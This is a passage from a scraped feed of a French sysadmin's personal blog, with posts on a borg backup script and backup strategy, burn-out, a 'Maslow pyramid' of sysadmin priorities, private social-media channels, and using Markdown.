<div style='text-align: left;' class='spip_code' dir='ltr'><code># on se place dans le répertoire ou l'on veut sauvegarder, qui est un montage d'un espace de stockage dédié partagé par SSH, monté en SSHFS<br /> cd /Backup<br /> # on lance la sauvegarde par borg qui s'effectue par un incrémental<br /> borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /le_dossier_a_sauvegarder --show-rc -v >> /tmp/mailreport.txt 2>&1<br /> <br /> # Purge des anciennes sauvegardes, on garde sur 7 jours, 1 par semaine pendant 4 semaine, 1 par an<br /> borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-12 .<br /> <br /> # Pur avoir la liste des sauvegardes dans le mail de rapport de la sauvegarde<br /> echo -e "Liste des Sauvegardes\n" >> /tmp/mailreport.txt<br /> borg list . >> /tmp/mailreport.txt<br /> <br /> # envoie du rapport par courriel<br /> sendemail -f expediteur@domaine.com -u "Sauvegarde du serveur XXXX - Daily Report" -t destinataire@domaine.com -s smtp.domaine.com -o message-file=/tmp/mailreport.txt</code></div>
<p>Pour répondre à <a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">la règle des 3, 2, 1</a>, il faut donc avoir une copie externalisée qui est une copie / réplication de l'espace de stockage qui reçoit toutes les sauvegardes. A voir ce que l'on met en place : disque répliqué à l'identique, service de stockage haute-disponibilité...</p>
<p><strong>Sauvegarde de la configuration</strong></p>
<p>Pour l'instant, ce que je fais, c'est un export via Scp de tout /etc des différents serveurs avec la remontée des fichiers de configuration dans un dossier nommé selon le serveur dans un projet dédié dans un Gitlab. Ca se scripte assez bien pour avoir le scp, un git commit... Je fais <i>au plus facile</i> pour l'instant mais je pense. Pourquoi pas Borg ? Car git permet d'avoir l'historique et de comparer facilement les fichiers là où Borg permet de conserver l'ensemble d'une arborescence à un instant t, une sorte de snapshot, mais il faudrait montrer plusieurs sauvegardes pour faire les comparaisons fichier à fichier..</p>
<p>Je réfléchis à la mise en place d'un outil comme Etckeeper pour avoir une autre automatisation, il faut encore que j'étudie ça.<br class='autobr' />
<i>etckeeper est un système conçu pour suivre la configuration d'une machine (répertoire /etc, d'où le nom) à l'aide d'un gestionnaire de versions(par exemple Git).</i><br class='autobr' />
Deux tutoriaux sur le sujet :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://www.grenode.net/Documentation_technique/Divers/etckeeper/" title="Etckeeper sur le site de l'association Grenode">Etckeeper sur le site de l'association Grenode</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.syloe.com/installer-un-outil-etckeeper/" title="Etckeeper sur le blog Syloe.com">Etckeeper sur le blog Syloe.com</a></p>
<p><strong>Sauvegarde des bases de données</strong></p>
<p>Du classique, un script, une tâche cron pour faire un export Dump sur un espace de stockage... Je pense que je développerai ce sujet dans un billet une prochaine fois.</p>
<p>Une sauvegarde complète (un snapshot par exemple pour une VM) et des sauvegardes régulières des éléments changeants</p>
<p><strong>Snapshots</strong></p>
<p>Dans mon billet <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>, je parlais de machines virtuelles sur des hyperviseurs. Je gère ces machines virtuelles comme des serveurs et j'applique donc au fur et à mesure l'homogénéisation de la sauvegarde en mettant Borg en place partout.<br class='autobr' />
Il est important de pouvoir remonter rapidement un service et avec une V.M., c'est assez simple. Un snapshot régulier (je travaille à scripter l'automatisation et la rotation de ces snapshots sur Xen, je ferai un billet sur le sujet), le delta de la VM correspondant à ce qui est sauvegarder de façon journalière. Je n'ai donc qu'à restaurer la VM, à réappliquer les mises à jours de l'OS, éventuellement restaurer les données et les fichiers de configuration et tout est bon.</p>
<p>A noter que je ne considère pas le snapshot comme une sauvegarde mais comme un complément de sauvegarde. Le snapshot ne suffit pas comme la sauvegarde ne suffit pas. Si il faut réinstaller tout une machine avec tous les services... Quoiqu'avec le tournant qu'apporte le Devops et la gestion en mode PAAS, la création de VM à la demande et l'industrialisation à venir... Bref, encore plein d'autres sujets à aborder dans les prochaines semaines et prochains mois... A suivre.</p></div>
		
		


feed_id: https://blog.genma.fr/?Silence-sur-ce-blog-en-juin
title: Silence sur ce blog en juin
uri: Silence-sur-ce-blog-en-juin
url: https://blog.genma.fr/?Silence-sur-ce-blog-en-juin
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2759.jpg?1530524666' width='150' height='79' />
		<div class='rss_texte'><p>En novembre dernier, je donnais pour une première fois ma conférence <a href="https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme" title="Conférence Du pseudonymat au pseudonyme">Du pseudonymat au pseudonyme</a>, où j'expliquais ma démarche personnelle faite il y a deux ans maintenant, revenant sur plus de 20 ans de pseudonymat. J'étais alors assez content, concluant sur le fait que j'avais pas encore de réponse à savoir si cela avait été le bon choix et n'était pas en mesure d'en saisir toutes les conséquences, car c'était encore trop frais, trop récent.</p>
<p><strong>Burn-out</strong></p>
<p>Fin mars dernier, je publiais deux billets d'importance : <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Le métier passion</a> et <a href="https://blog.genma.fr/?Tout-intellectualiser" title="Tout intellectualiser ">Tout intellectualiser </a> qui présentait l'état dans lequel j'étais arrivé. Je ne pensais pas à ce moment-là, que trois mois plus tard, je serais encore sous les conséquences de ce que j'abordais dans ces billets... Peu de temps après je redonnais la même conférence actualisée, en terminant sur ce que j'aborde dans les billets cités, à savoir le fait que je m'étais retrouvé de moi-même coincé dans le métier passion... conduisant à un premier signe de burn-out, sous la forme d'une journée difficile durant laquelle m'était effondré en pleurs devant mon poste de travail, suite à un incident de production. Je constatais que j'avais eu beau avoir anticipé des tas de choses, je ne pouvais avoir le contrôle sur tout.</p>
<p>Cette alarme m'avait fait arrêté le lifehacking extrême, mais j'ai continué à travailler de trop nombreuses heures, 1/3 de plus que le temps réglementaire, cumulant fatigue nerveuse et physique. J'ai pourtant continué à passer des heures en coulisse le week-end à travailler, sans qu'on me le demande, juste parce que j'en ai envie... Il y a beaucoup de choses à faire, je ne comptais pas mes heures, personne ne m'arrêtait car ne voyait ce que je faisais en coulisse... La pression personnelle que je me suis mis avait toujours le dessus...</p>
<p>J'ai ralenti un peu en arrêtant peu à peu et en me déconnectant le week-end - moins évident quand on est d'astreinte - car je voyais que je ne tenais plus le rythme. Et j'en suis arrivé, début juin à avoir, chaque semaine, une journée durant laquelle j'avais une phase de mal-être tel que je ne peux désormais plus renier, que oui, je suis en burn-out. Et une conséquence est que depuis début juin je n'ai rien publié sur ce blog que je n'avais écrit avant, je n'ai pas fête les 14 ou 15 ans du blog, je ne sais plus la date...</p>
<p>J'avais depuis longtemps posé des jours pour aller au festival Numérique Passage en Seine, et jusqu'au début de la semaine précédent l'événement, j'hésitais à annuler mes jours de congés pour avancer mon travail, tant j'ai de choses que je voudrais faire... J'ai tenu bon, je suis allé à Passage en Seine, j'ai refait ma conférence <a href="https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme" title="Conférence Du pseudonymat au pseudonyme">Du pseudonymat au pseudonyme</a> en parlant de ce mal-être que je vis.</p>
<p><strong>Du Bore-out au Burn-out</strong></p>
<p>Sans refaire ma conférence et ré-aborder ce que je disais dans mes deux billets de blogs <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Le métier passion</a> et <a href="https://blog.genma.fr/?Tout-intellectualiser" title="Tout intellectualiser ">Tout intellectualiser </a>, celles et ceux qui me suivent depuis quelques années et qui ont suivi mon parcours m'ont vu passé d'une situation de mission placard, avec un bore-out, vers un métier passion et un épanouissement.</p>
<p>Dans les coulisses, il y a eu la reconnaissance de la direction quant à mon travail et mon investissement, en me donnant plus de responsabilités... Mon CV Linkedin parle pour moi. Je me suis alors mis une pression personnelle et un devoir, lié à un sentiment d'être redevable tel que j'en suis arrivé dans une situation où si je devais donner un échelle de 0 à 10, je dirai que 3 correspond à ce que l'on attend réellement de moi quant à mes responsabilités et mon poste, 6 ce que je pense que l'on attend de moi et que j'essaie de donner, 10 ce que je vise pour réussir à améliorer la situation rapidement. Améliorer la situation rapidement... Comme je le dis dans mon billet <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a> et <a href="https://blog.genma.fr/?+-Sysadmin-+" title="Les billets tagués SysAdmin d'une PME">les autres de la même série</a>, j'ai hérité d'un service qui est ce qu'il est. Et j'ai passé des heures et des heures, par plaisir d'apprendre, par plaisir d'autodidacte et de comprendre, par crainte de ne pas avoir la maîtrise et le contrôle, à travailler encore et encore... pour atteindre le niveau 10. Et quand quelque chose ne marche pas, fatigue moral et physique cumulé aidant, je craque...</p>
<p><strong>Passage en Seine</strong></p>
<p>Passage en Seine, c'est un événement auquel je vais chaque année, depuis quasiment les débuts. J'ai beaucoup appris de mes pairs en suivant leurs conférences, blogs, tutoriaux etc. Avec les années, j'ai appris à connaître les personnes qui viennent, via nos rencontres dans le monde non numérique et nos échanges en ligne.</p>
<p>Depuis longtemps j'avais posé des jours pour aller à Passage en Seine. La semaine précédente je me posais encore la question d'annuler ces congés... Cela montre à quel point je n'étais pas bien... J'ai tenu bon, j'ai maintenu mes jours et j'y suis allé. J'ai rajouté une journée suivant le week-end pour pouvoir souffler un peu et remettre de Passage en Seine. Et alors ? Je vous renvoie vers mes messages sur les réseaux sociaux tagués PSES2018, ils témoignent de l'importance qu'à eu l'événement pour moi. Passage en Seine est pour moi : un moment de retrouvaille avec des personnes que j'ai appris à connaître avec les années, des amitiés d'Internet, des personnes que j'apprécie, qui partagent leurs savoirs... Ma famille des Internet, comme j'aime à les appeler.</p>
<p>Il y a eu beaucoup de moments d'émotions, j'étais à vif, à fleur de peau et j'ai témoigné à quelques-un·e·s d'entre vous des belles choses, je vous ai vu la larme au coin de l'œil, tout comme moi. Mais c'était important pour moi de vous dire ce que je vous ai dit.</p>
<p><strong>Rassurer</strong></p>
<p>Je voudrais rassurer les lecteurs et lectrices que je n'ai pu voir à Passage en Seine. Je me connais bien, je me psychanalyse depuis l'adolescence (je n'ai jamais consulté un professionnel) et j'en suis arrivé à la conclusion, que, entre-autre (car je suis plein de choses comme tout le monde), je suis cyclothymique. Les phases d'euphorie, de joie, cèdent parfois place à des phases de dépression, tel était le cas dans la double personnalité et dualité Genma - Jérôme que j'évoque dans ma conférence. Depuis que j'ai rejoins et fusionner Genma et Jérôme, c'est moins marqué, plus nuancé, et plus dur de voir le problème. Je suis <a href="https://blog.genma.fr/?Le-mode-Genma" title="Le mode Genma">en mode Genma</a> dopé par le travail passion et je me suis fait piégé.</p>
<p>Je veux rassurer, car je n'ai jamais porté atteinte à mon intégrité physique, je ne me blesse pas, mon corps me force à manger, à dormir, je ne prends pas de médicament ou autre donc je ne risque pas grand-chose. Je suis peut-être dans le déni, mais je pense que je peux gérer ça.</p>
<p>Passage en Seine a été une phase de pause, les longs moments de partages, de discussion, de soutien, des uns et des autres, les moments de rigoles, de partage.... Tout ça m'a fait du bien. J'ai appris que c'est partout pareil, que beaucoup des personnes auxquelles je tiens ont vécues ce que je vis, et leurs conseils m'ont aidés et m'aideront.</p>
<p><strong>Conclusion</strong></p>
<p>J'ai pris quelques jours pour souffler, mais je ne peux pas, je ne veux pas prendre deux semaines ou plus d'arrêt maladie, je me sens fors. Je sais que j'ai trois semaines de vacances dans un mois, et ce sera le moment pour reprendre du temps pour moi, de souffler, de ralentir le rythme, de me remettre en question et de comprendre enfin que non je ne peux pas tout régler d'un seul coup, que reprendre et améliorer le S.I. d'une entreprise ça ne se fait pas d'un claquement de doigt mais en plusieurs mois...</p></div>
		
		


feed_id: https://blog.genma.fr/?La-pyramide-de-Maslow-du-sysadmin
title: La pyramide de Maslow du sysadmin
uri: La-pyramide-de-Maslow-du-sysadmin
url: https://blog.genma.fr/?La-pyramide-de-Maslow-du-sysadmin
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2760.jpg?1530545441' width='150' height='79' />
		<div class='rss_texte'><p>Un billet que je dédicace aux amis Skhaen et Cabusar suite à nos discussions à PSES2018.</p>
<p>Mon billet de blog <a href="https://blog.genma.fr/?Silence-sur-ce-blog-en-juin" title="Silence sur ce blog en juin">Silence sur ce blog en juin</a> résume assez bien l'état dans lequel je me suis retrouvé et vu les soucis que j'ai rencontrés avec le <i>legacy</i> ces derniers temps j'en ai été à me poser la question de la pyramide de Maslow du Sysadmin. Pour rappel <a href="https://fr.wikipedia.org/wiki/Pyramide_des_besoins" title="Wikipedia - Pyramide des besoins">la pyramide de Maslow plus communément appelée pyramide des besoins</a>, hiérarchise le fait que si des besoins essentiels sont à remplir (Besoins physiologiques : faim, soif, sexualité, respiration, sommeil, élimination) avant les besoins de sécurité (environnement stable et prévisible, sans anxiété ni crise), qui passent avant les besoins d'appartenance et d'amour (affection des autres) pour enfin arriver au Besoin d'accomplissement de soi. Dit de façon vulgarisée et simpliste, quand on n'a faim et pas de toit sur la tête, difficile de chercher de l'accomplissement personnel...</p>
<p>Au-delà des critiques du modèle, des biais etc. et de toute l'analyse scientifique du modèle, dans le présent article, je présenterai donc une sorte de pyramide inversée, en commençant par le bas de la pyramide en allant vers le haut, du plus urgent au moins urgent, dans le cadre d'un contexte particulier qu'est celui de l'administrateur système. Pour rappel, je suis un administrateur système assez jeune, je ne commence <a href="https://blog.genma.fr/?+-Sysadmin-+" title="Ma série de billets Devenir SysAdmin d'une PME">dans le monde professionnel pour cette partie que depuis quelques mois</a> (même si je suis sysadmin à mes heures perdues par loisir depuis de nombreuses années) et cette pyramide reflète mon expérience personnelle (et est également l'occasion pour moi de faire le point sur moi-même, comme souvent avec les billets de ce blog).</p>
<p><strong>Préservation de l'humain</strong></p>
<p>Toute en bas de la pyramide, je place désormais la préservation de l'humain. Vu l'état dans lequel je me suis retrouvé et je suis actuellement, je pense que c'est là l'essentiel. Dans ma pyramide de Maslow personnelle, j'ai placé trop haut et trop loin le besoin d'accomplissement personnel, menaçant la stabilité de base, en réduisant mon sommeil de façon involontaire (insomnie pendant lesquelles on prend des notes, réfléchit à sa todo, avance son travail de sa journée), en réduisant mon temps de repos… Bref, désormais en bas de cette pyramide je place ma propre préservation. Du fait de mon implication dans un métier passion, implication qui continue encore aujourd'hui, ce ne sera pas facile, mais tant que cette base n'est pas solide, les autres étages de la pyramide n'ont aucun sens et aucune stabilité.</p>
<p><strong>La documentation</strong></p>
<p>Sans documentation, on aura beau avoir le meilleur Système d'information possible, avec des systèmes mis à jour, sauvegarder de façon automatique, avec de l'intégration continue, l'ajout de nouveaux serveurs virtualisés intégrés dans la supervision en quelques minutes, ça ne sert à rien. Car dès lors qu'il faut faire évoluer quelque chose, ou qu'il y a du sable dans les rouages, si quelque chose ne se passe pas bien, sans documentation, tout cet outillage parfaitement rôdé ne sert plus à rien, vu que l'on ne sait pas comment s'en servir...</p>
<p>La documentation, c'est donc la base. Et non ce n'est pas une perte de temps. Après, attention à documenter ce qui est essentiel, à préciser les prérequis (on ne va pas réexpliquer toutes les bases des commandes shell ou le fonctionnement Linux à chaque fois), il faut juste expliquer les choix, les informations pertinentes et nécessaires pour pouvoir faire le travail du quotidien et la gestion des incidents déjà rencontrés (on ne peut bien évidemment pas documenter des incidents jamais rencontrés, mais on peut en anticiper certains ou avoir la documentation nécessaire pour réduire leurs impacts).</p>
<p>La documentation, qui est une forme de traçabilité et de reporting de l'avancement, permet également de pouvoir à tout moment, d'arrêter pour reprendre plus tard, d'être remplacé, de déléguer…</p>
<p><strong>La gestion des sauvegardes</strong></p>
<p>Une fois qu'on se préserve soit et qu'on a documenté, il y a le sujet, vaste, des sauvegardes. Idéalement selon <a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">la règle des 3-2-1</a>, en ayant défini <a href="https://blog.genma.fr/?A-I-2-Qu-est-ce-que-je-dois-sauvegarder" title="A.I.2 - Qu'est ce que je dois sauvegarder ?">ce que l'on doit sauvegarder ?</a> et en ayant vérifié que ses sauvegardes sont bien utilisables (<a href="https://blog.genma.fr/?Sauvegarde-et-restauration" title="Sauvegarde et restauration">Sauvegarde et restauration</a>).</p>
<p><strong>La gestion des mises à jour</strong></p>
<p>Si on sait et restaurer ses sauvegardes, on peut alors passer à la gestion des mises à jour en ayant un parc le plus à jour possible. Ce qui n'est pas tout le temps possible, <a href="htps://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">il faut composer avec le legacy</a> et toutes ces applications qui ne supportent pas des versions supérieures de PHP (par exemple)... Mais on fera le maximum pour faire les mises à jour et ce de façon régulière, afin d'éviter les failles de sécurité et d'avoir des applications patchées (évitant ainsi de subir des bugs corrigés via les mises à jour).</p>
<p><strong>La sécurité</strong></p>
<p>On a des systèmes à jour, mais <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">quand ils ne sont pas maintenus et se font compromettre</a>, que l'on sait restaurer (vu que l'on a des sauvegardes), on peut alors de poser la question de la sécurisation. Là encore, vaste chantier qui prend du temps et même si les bonnes pratiques et les bases d'hygiène numérique (dont font partie les sauvegardes et les mises à jour) sont appliquées, ça prend du temps. Et d'autant plus que l'on veut une sécurité renforcée et forte... On commencera d'abord par une gestion des mots de passe simple et efficace, puis on renforce la sécurité des connexions… Plein de choses à faire...</p>
<p><strong>La supervision</strong></p>
<p>La supervision, quelque-soit l'outil que l'on utilisera, permettra d'alerter et de surveiller si les sauvegardes se sont bien déroulées, si les serveurs sont bien à jour, si les services fournis par ces derniers sont bien délivrés… La supervision permet de savoir quand quelque chose ne va pas. Et quand ça ne va pas, vaut mieux avoir des sauvegardes, un système à jour, sécurisé, ce qui évite justement une partie des soucis qui font que ça ne va pas (restera les dénis de service par surcharge du serveur, les espaces disques saturés… suffisamment de choses qui permettent de ne pas s'ennuyer...)</p>
<p><strong>L'automatisation</strong></p>
<p>Enfin, quand on a un parc sauvegardé, plus à moins à jour, on peut alors se pencher sur l'automatisation. Beaucoup de sysadmin diront qu'un bon sysadmin est un sysadmin fainéant et que cette automatisation devrait venir beaucoup plus haut dans la pyramide, je ne pense pas. On saupoudrera un peu d'automatisation tout au long des différentes étapes précédentes, on anticipera l'automatisation à venir, ce qui permettra une industrialisation le moment venu : les sauvegardes, les mises à jour, la supervision, le renforcement de la sécurité, tout cela sera intégré dans l'outil de déploiement et de gestion du parc.</p>
<p><strong>Traçabilité et suivi des actions</strong></p>
<p>La traçabilité et le suivi des actions, l'historisation des connexions, l'analyses des logs (qui pourraient entrer en partie dans la supervision) viennent pour moi à ce niveau. On a un système qui ronronne, qui est stable, où tout se passe bien, on peut donc alors s'attaquer à la traçabilité et au suivi. Là encore, en cas d'incident, cela pourra être utile pour comprendre le pourquoi, pour corriger, une fois que l'on aura restauré le service en fonctionnement nominal (en repartant sur une sauvegarde ou sur la création d'une nouvelle machine : facile vu que ce sera automatisé...)</p>
<p><strong>En dehors de la pyramide</strong></p>
<p>La pyramide est mono-dimensionnel, avec une progression vers le haut et dedans, il y a des choses qui sont transverses. J'évoquais l'automatisation qui doit être anticipée et ce dès la mise en place des sauvegardes, il y a également en chantier transverse le fait de pouvoir et devoir organiser les priorités à chaque niveau : on commence par sauvegarder ce qui est le plus critique, à mettre à jour et à sécuriser les serveurs les plus critiques, pour ensuite les superviser...</p>
<p>Les aller-retour au sein de la pyramide seront nombreux et tous les étages sont importants.</p></div>
		
		


feed_id: https://blog.genma.fr/?Un-canal-de-communication-prive
title: Un canal de communication privé ?
uri: Un-canal-de-communication-privé
url: https://blog.genma.fr/?Un-canal-de-communication-prive
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2762.jpg?1530791345' width='150' height='79' />
		<div class='rss_texte'><p>Lorsque que je donne ma conférence du pseudonymat au pseudonyme on me pose la question suivante « est ce que j'ai un autre pseudonyme décorrélé – non lié à mon pseudonyme actuel et non lié à mon identité civile…. » Je dois avouer que pour différentes raisons, qu'il faudra que je détaille ultérieurement dans un futur billet, j'y pense de plus en plus. Toutefois, vu l'ampleur du travail que cela serait, car cela est long et compliqué de recréer tout un tissu social en repartant de zéro (pour faire plus simple) et afin d'évaluer les contraintes que cela aurait et commencer par une première expérimentation moins contraignante, je pense que je vais, un peu, changer mon usage des réseaux sociaux.</p>
<p>En réseau social actuellement, j'en utilise deux : Twitter et Mastodon. J'ai longtemps utilisé Diaspora, laissé de côté (abandonné devrais-je dire) par manque de temps au profit de Mastodon. Mais mon fil Mastodon actuel – en ce qui concerne mes publications personnelles – reste encore trop un simple copier coller de mon fil Twitter.</p>
<p>Pour avoir deux canaux de communication sur les réseaux sociaux distincts aux usages et buts différents, et gérer les contraintes qui apparaissent peu à peu avec mon passage du pseudonymat au pseudonyme, j'expérimente donc les usages suivants :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Twitter pour la veille, le « CV » et la personne publique.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Mastodon, désormais, en accès restreint (pour choisir les personnes qui me suivent et en ne rendant pas public mes messages), pour garder une intimité « relative ».</p>
<p>Le blog continue, mais aura probablement une orientation avec des réflexions et du partage généraliste et générique, les états d âmes seront alors réservés à Mastodon.<br class='autobr' />
Ce que je raconte n'engage que moi. Ne concerne que moi. Dans le cadre de mes activités dans le cadre professionnel, j'ai un droit de réserve à appliquer. Mais en dehors ? En tant que personnage publique ? Je ne suis nullement le porte-parole de quiconque que ce soit les associations, collectifs ou causes dans lesquelles je m'implique ou je crois tout comme mon pseudonyme, par principe, ne doit pas être lié à l'entreprise qui m'emploie. Mais comme mon pseudonyme est relié indirectement à mon activité professionnelle, je ne pourrais jamais empêcher des personnes de faire un lien, volontaire ou non, entre mes propos personnels et la personne que je suis professionnellement. Certes la frontière est assez mince, mais elle existe. De plus, Internet n'oublie pas. On change de vie… Si je sais où je serai dans quelques mois, je ne sais pas où je serai dans des années…</p>
<p>Ce sont là des éléments de réflexions qui seront à amener à évoluer et s'enrichir avec le temps. Ce billet apporte de l'eau au moulin de la réflexion « faut-il ou non faire le choix de passer du pseudonymat au pseudonyme » à travers un nouveau partage - retour d expérience personnel sur ce sujet. Je n'ai pas et il n'y a pas de réponse, chaque cas et situation est particulière. Et les situations ne sont pas immuables et évoluent avec le temps.</p></div>
		
		


feed_id: https://blog.genma.fr/?Le-Markdown-comme-langage-d-ecriture-universel
title: Le Markdown comme langage d'écriture universel ?
uri: Le-Markdown-comme-langage-d-écriture-universel
url: https://blog.genma.fr/?Le-Markdown-comme-langage-d-ecriture-universel
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2763.jpg?1531067792' width='150' height='115' />
		<div class='rss_texte'><p><span class='spip_document_2554 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L500xH381/markdown_everywhere-3cca2.jpg?1531067802' width='500' height='381' alt="" /></span></p>
<p><strong>Introduction</strong></p>
<p>Il y a quelques années, quand j'avais un peu de temps et que je contribuais modestement à Wikipédia pour quelques pages, j'avais envisagé de passer du temps à apprendre la syntaxe wiki, chose que je n'ai fau final pas vraiment faîte, au-delà des quelques éléments de bases : gras, italique, lien hypertexte, liste à puces... Avec mon autohébergement et la mise en place de mon propre wiki pour concerntrer et tracer un certain nombres d'informations utiles (principe d'un wiki), j'ai un peu dérouillé ma syntaxe wiki mais sans plus.</p>
<p>En ayant commencé à utiliser Gitlab (voir à ce sujet <a href="https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal" title"Lifehacking - Gitlab, outil idéal ?">Lifehacking - Gitlab, outil idéal ?</a>) pour la gestion des projets, dont les wikis lié aux services que je gère, j'ai commencé à passer plus de temps à faire du markdown (le langage d'écriture par défaut dans Gitlab), que j'avais déjà expérimenté au travers quelques fichiers Read.me publié sur des projets Git.</p>
<p>Devant le côté assez simple de Markdown, le fait qu'il puisse être utilisé pour mon outil de Wiki (Dokuwiki) via un plugin, je me suis posé de l'usage de Markdown comme langage universel : est-ce utile de passer prendre un peu de temps pour l'apprendre ? Telle est la question que je me suis posée et la réponse est tient en un mot : OUI. Ci-dessous le pourquoi et l'intérêt...</p>
<p><strong>Le Markdown ?</strong></p>
<p>Si je cite la définition de base du Markdown <i>Markdown est un langage de balisage léger créé par John Gruber en 2004. Son but est d'offrir une syntaxe facile à lire et à écrire. Un document balisé par Markdown peut être lu en l'état sans donner l'impression d'avoir été balisé ou formaté par des instructions particulières. Un document balisé par Markdown peut être converti en HTML ou en autres formats.</i></p>
<p>On retrouve deux des caractéristiques que j'apprécie particulièrement : léger et facile, convertissable.</p>
<p><strong>Quel éditeur ?</strong></p>
<p>Il existe différentes éditeurs qui supportent Markdown, dans le cadre de l'industrialisation de nos projets au sein de mes équipes et pour avoir une cohésion des outils (un même outil utilisé par tous permet de pouvoir s'aider facilement les uns les autres), nous avons retenu Atom avec l'extension Markdown comme éditeur de fichier. Atom permet d'avoir un aperçu de son document au moment de la saisie, on retrouve ce bon vieux WYSIWYG (What You See Is What You Get) que je connais depuis mes débuts à faire des pages HTML il y a un peu plus de 15 ans de ça... Associé à un plugin Git pour commiter les fichiers de wiki que l'on édite, c'est un outil pratique et qui convient à nos besoins.</p>
<p><strong>Un autre besoin</strong></p>
<p>Nous faisons beaucoup de rédaction de livrable, nous avons un certain nombre de documents à régulièrement rédiger pour les clients. Nous avons des templates définies avec des styles dans LibreOffice, ce qui est une bonne chose. Mais comment passer à la version supérieure de l'industrialisation ? En éditant la documentation sous forme de fichiers Mardown dans un dossier du projet dans notre instance Gitlab (qui nous sert aussi pour sa partie Kanban, suivi des fichiers de configuration...). On peut ainsi facilement travailler si besoin à plusieurs sur un projet, reprendre le projet, corriger la documentation (nous avons toute la puissance de Git pour la gestion des conflits, la décentralisation...) ce qui est, plus pratique que le suivi des modifications d'un seul et même document LibreOffice édité, à plusieurs, à tour de rôle.</p>
<p>Il faut ensuite le convertir de la source Markdown vers un format LibreOffice. Il existe Pandoc, comme couteau suisse de la conversion, qui permet de prendre différentes sources dans différents formats pour les formater convertir dans différents formats de sortie : Latex vers HTML ou Opendocument (format LibreOffice) par exemple, pour ne citer que deux parmi des dizaines de format. Pour tout savoir, <a href="https://pandoc.org/" title="le site de Pandoc">voir le site de Pandoc</a>. Pandoc accepte parmi tous ses formats d'entrée le format Markdown, mais le fichier LibreOffice sortit est un fichier de base.</p>
<p>GreenMan, pour ne pas le citer et avec qui je travaille, a pris sur lui le défi de construire une moulinette en shell bash, pour permettre une transformation d'une documentation écrite en Markdown vers un document formaté sur base de template de l'entreprise et ça marche. Il reste quelques ajustements à faire, nous devons relire et corriger / ajuster la mise en forme du document final pour quelques coquilles, mais le plus gros du travail est fait. Nous avons bien un outil qui nous permet de passer dur Markdown vers LibreOffice, selon un template de document prédéfini. Sur ce sujet, je reviendrai plus tard avec un article dédié co-rédigé avec GreenMan.</p>
<p>Mais c'est outil, sa simplicité d'usage (pour un administrateur système de base qui s'est lancé une commande shell) renforce cette idée d'appropriation du Markdown.</p>
<p><strong>Markdown pour les mails ?</strong></p>
<p>Ayant écrit un compte-rendu dans Gitlab et donc en syntaxe Markdown, j'ai fait un copier coller dans le corps du mail et j'ai eu à remettre en forme... Perte de temps... J'ai donc cherché rapidement et effectivement il existe une extension pour Thunderbird pour la prise en charge du Markdown. Et il existe bien une Extension pour Thunderbird qui correspond à mon besoin : Markdown Here.<br class='autobr' />
<i>Écrivez votre courriel avec Markdown, puis rendez-le attrayant.Markdown Here permet d'écrire un courriel avec Markdown et de le convertir (afin qu'il soit attrayant !) avant de l'envoyer. C'est parfait pour tous ceux qui n'aiment pas travailler avec des boutons de formatage pendant qu'ils écrivent un courriel. C'est particulièrement utile pour les programmeurs qui écrivent des courriels qui incluent du code — la coloration syntaxique est également supportée. Et pour les mathématiciens parmi nous : Markdown Here convertira tout aussi bien les formules TeX. </i> <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="http://markdown-here.com" title="http://markdown-here.com">http://markdown-here.com</a> (en anglais)
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://github.com/adam-p/markdown-here" title="https://github.com/adam-p/markdown-here">https://github.com/adam-p/markdown-here</a> (en anglais)</p>
<p><strong>Conclusion</strong></p>
<p>Vu que je m'investis de plus en plus dans l'apprentissage du Markdown, il faudra également que je regarde quel outil permettrait de faire des supports de conférence en se basant sur ce langage d'écriture (Je sais que ça existe, il faudra que je vois), ce qui permettrait encore de renforcer l'intérêt et l'investissement sur ce langage.</p></div>
		
		


feed_id: https://blog.genma.fr/?Mettre-a-jour-Debian-via-Tor-apt-transport-tor
title: Mettre à jour Debian via Tor - apt-transport-tor
uri: 2018-08-24-Mettre-à-jour-Debian-via-Tor-apt-transport-tor
